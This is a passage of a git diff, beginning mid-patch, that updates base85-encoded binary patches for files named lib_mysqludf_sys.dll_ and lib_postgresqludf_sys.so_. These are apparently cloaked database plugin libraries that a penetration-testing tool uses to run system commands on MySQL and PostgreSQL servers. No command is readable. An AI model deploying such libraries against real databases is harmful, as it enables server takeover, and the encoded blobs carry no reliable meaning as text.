jU2-t0hW4}%u;1e?)Q=8(#McOcrCrFK literal 4549 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 diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ index 33a7adbe0c5aac30cfce5fb2328ab75893282d0b..97799b69d4d90f2a7cf04830079c57360a746cc5 100644 GIT binary patch literal 5267 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 ZlGPi|X_W;Jf=4LM^t`H+R!3m}*r}hYE&%`l literal 5267 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 ZsPGle5w#>PtwK4Q_nnufY+`Qzpov^FKI;Gg diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ index f7e6da36499b5a9f2b660df902fc8f4faaee8fdb..33dbdeeb35bc711bd555536cba564cdbf2705663 100644 GIT binary patch literal 2639 zcmV-V3b6G(s+tQ4CVP`5_s{?s=@`mKGJlE!NF^6iN@G=XL|?&@F6Wa?$m7%%0tC~? z-DL^}T~+cbEAO62)x(+ z9V`SZtV_9>@-Y#u9*FazM}WNF?b7=M-j24a9cvsHMrL@5k+2Zv66Dt(|KXo7niy+T z2F(yMaOk;vbF=sl-KPR?9J`=OE7F4h#T8)|zmrt&$UPF z;ytOomgMfmsGz>bJq5oXEWHCXZ%hr(V=jCON&vR%`x7GHc1mD($;vS>8?o#ULtSWj z6f~8t^p(jQ-Ij3H)QgIqGLrc8T$7uUfib77YGfjCw)niD;|Mid2-Uvj-9M}3;Q0-M z7o+gpCp2uB;=yhL>zl$pv#xo*0 zMc6cHB?V2GNxZO~seSCo4o|YAn(r(`&1$*M(EpcHky)bZ<3~Z}%u)-Dsa42*I9Jl8 zoB-P{Cg^ohD4Pf3v#I%#j*IZW0p2{Gk`W4Q+UY%>W3J&x)CKpYMH;y6#4#-FC!PLR zc=MzwmyYnt;f#;(2k?!9S~(3aLOUn!Q}BVaVYz2J_sNS4_5Lo4 zq4S>x$emzA+;4Wk>*hTzcllTX7Sx}JifR4d$Wbob>)o8M!(jEToxm&AX2*%$xMdL; zhV8AmDrt>mq23YUuB`X@c-~7^iV!eGaOomiq-eq4~lQ-V5ahScNBk z<$rwar?caGvU-C<+YNcePF0P0N&ag5nQEp$yuPLo`gu+jMB-{LF%S z>IfL+k@1^rt}cxfIBqeTMrtR1HzqO`5u zYD`^_s!k}TgBTOgV-Z0JrQQoSxI;Ok+0SNz~kj|U1L&ks*C`AcoJ4_op12;FyoKt#N>6- z0=80Wm1t0&R9k0@-w`vJ>pd?uk!$HkMsDErHLJ?uO>;t1n}G_=BS=*nIO!Qn!zYC{ zAlypN!Rjjpu4zyRg*zXJfwGnHz4IC`hz#nb?36E@P3z|OxhRgp2<9n?oIeK#Qdi0f zw@7W*7brOJ3CtcOJew!>z`of0d#T%*RwYR7g^$D2&a*UN%$q8 zoe2qmt9CzfH(8&%bndXw3G>lJ6;}CgYsAgT0UF+kn}y9|^}qs~i-Y#_(Ull%xtg>U z1X`O|dy)Ake_}f3;MZ0-Gm&*CsEl&P-}1O5$dP)W!d7h^G&(^4JWkP zgVzGnIL_q%c>FH-1Vt+mlBWptmIpavMl^gei(R;+zyys1;*?$?rzUg#*T{3p7#iac zwqD_5Nm^{1wYAVpIW8Ho%8oY{o;Uo8fJ&O8H_-R})OGqr;JA;of#%j{Y2Wao+w+Y| zZ6UT-fm#?z{HyaBPdJQL`?9D@2xOW8P1$MYe9~P1X@E_UFV7f>bRs|{)%9Nu?Ly9VMj)@Z?pj-x70;~PRiB8_yB+tDa@M~jQ2`Q;)rs(N z&2O(A9~c%9F80cN*E+#A{)=5l^^S&ls^H>oP45BjS(WrcHzS0IeEftp@Br33jvUf; zdh8!mD#A&b;Ig;R#_-2ZuUNiQPaku4Edi6tq1mXBoy=b;^Nu82f9-N?yo&RH)f3}Wy6z^n=~P87eSt}4Ov#7gfVcxBR?o15Iqq*5yP z(vC7mU&8VKJ6^BN_mb!f@D5QzXljb(4z`;%hQ!rUn)pJWrWgc|#{*ze2S0@VX|w`e1d1*`bxf=yUJ>8WvTb$GyX4>(}=Q z5QO--`-`5uDYRg`CxA+@Ujy6YE*ak341fho?PP`I7Iv%3r!LTjqdvt{5N`?4SD&1I z)4lKb{F9~4_UoI|{=o})jqxqLG8#7!NdY#aAxFx77yNH3d@*$4AZqdjIf?*=t(xz09aumMZdL_MZh82@|z8xlrmtaDqMr9#^sKuYKp%%N~BWLe2mH literal 2639 zcmV-V3b6G((z+@r34Vfb^zl6^(>=sTN?)rZXCMX#NkV8retOT6R>!hz=jO#g0VVGB z=RgDoC3VwpV+c*JdRG)L2-~xUocYQaDu(@GMU-_ zWeg<>gHEW-@enMZB(43TKcJod!q@6i-LH$7Cr%O?;y6lm zDaZk5bIF8BNtX5xrH3OTGoyf&n z;T)8Ytij;L(14%j5&*7BFPuIGRcQmy8xCD7Wd*0d_%a{uOmA*?vFZ>JG_?I%Kzvn8 zE)koqjJ4=G@{?hM*Q&Ry2)Fk1B(u7+t~9p!X+1>l{Y|X86_eY=b=juBF5~(swM}`O+Vi{Xkjn9HOLkq~cSAkX3%Hkd8V{#S$M2 zfBiaXT_tR}X1Srrs$9|fG-|x0;?E6b;%}&%)849Kt9-2Ln`dCh<5wEks&w^F0&?7? z_N&pJF54~3kuW!2;LJ0g8;-zc`vB(fMmvSy{uCnYU%lUU zSN64Sp18mnj80A)pK$wKxQpSR;;pjXJ=KGQA{i_XZ9X=;P|>`BTbyY-kLju{+WSA= zqSB%?^0;n8q)%7j#N#Y@bl7DuEb)TuccTh_`{31wz`E*wM>t=`ojVSBh#Po zkYT#4;8|FP$*x>`&#KFNbT6&!0lFTp z&;;fn#pn(VP|e}D5u(vnH=T?w;MMQb$Pml}oF0+2ALAI|IAX_i2fIN#BwU7waa_p#EM=W9}bg!e1PoIybL#vzN4F;^- zWZsNvzf#!#a}A_1z$RhfycWy2cmO*IR~*_gd}|gC@JwwxT%aRj-fGJkS2`CAF@RjD z7lp!hG9h02>>`w7 zBmH;%`_Cl?)=6$c_3N1hOYkM>Mw|c)&aQ$P*5g*&={rvbKNVT z#!DV!Mc?+ zD_@EYc(BA3MMpH|nD=)X9F$~otF2G;<=3_(u(4Z#?NfY6HyeG;25aA!*#bMJRG-HS zfc8J(0_*Dk0NfARD?mC#k%l$KtRgpJJ``OLq*$r(!zHjb*s)L{-v(0L_|0OR8#~@2 zjC=26F?vn9ny|qcIu9g+@T)l%<`>zNX9rI$sirrTU;8I!VaEf<`&ubITe8 zbptPcfX^s8>VFt!inJw_ei=~7daf~E+DS>oBXDc131e9TW?hOhm&!ODCM ztGS;$nrg=&kO|DM9fC(iJDZmuU)u99Hb>$7xQr_kVG*wJtqc6Y{%_$R08E9`SQ8Yu z@joV-LT@lAP+G?lCtzL~HE*hywi}+qrZmmA)y*ZB-pcnqC>OrTcM<@|w4TkMr*jv@ z=&L+OC*siF6kEQS^t07D$}3+&5K61WA+w5Oh2+C|D?@_2RIg970*yN7t-(8XD{K5q zot8eF%#Bi{{o{)z=77B@O^A0bxrv&mkTFes>J|Z2=#TCr4g>n zb?!9M1n$ifoFf<;L~pozRz@~7ykm*M%AY8`fr&FpATwK^zn$Vl#M0(m z6Q#wA!LE?JQItWQ2!&haTq5St6g<$}bf6?^!eNxL6<3z{oeSQE+aBa~KWZ3-RKB51 z>6qd8gtLU~+3t#l{opoAx6~uOoA{e35_Korx?b+r5FAc7w+_X9mImINF>7RxJvo16 z;nI(z$^q!SowaG14V_9Jx^bsZfXc;|C4*cldN=<4pMtH>NNURkq^G9l^L2Mtl zs}WI<0ns{!WINVi7sXZ@>qrduZ#v3U3h-eZFb}$}_5$J?pd4ET)gwD?oK7iaDx#B( 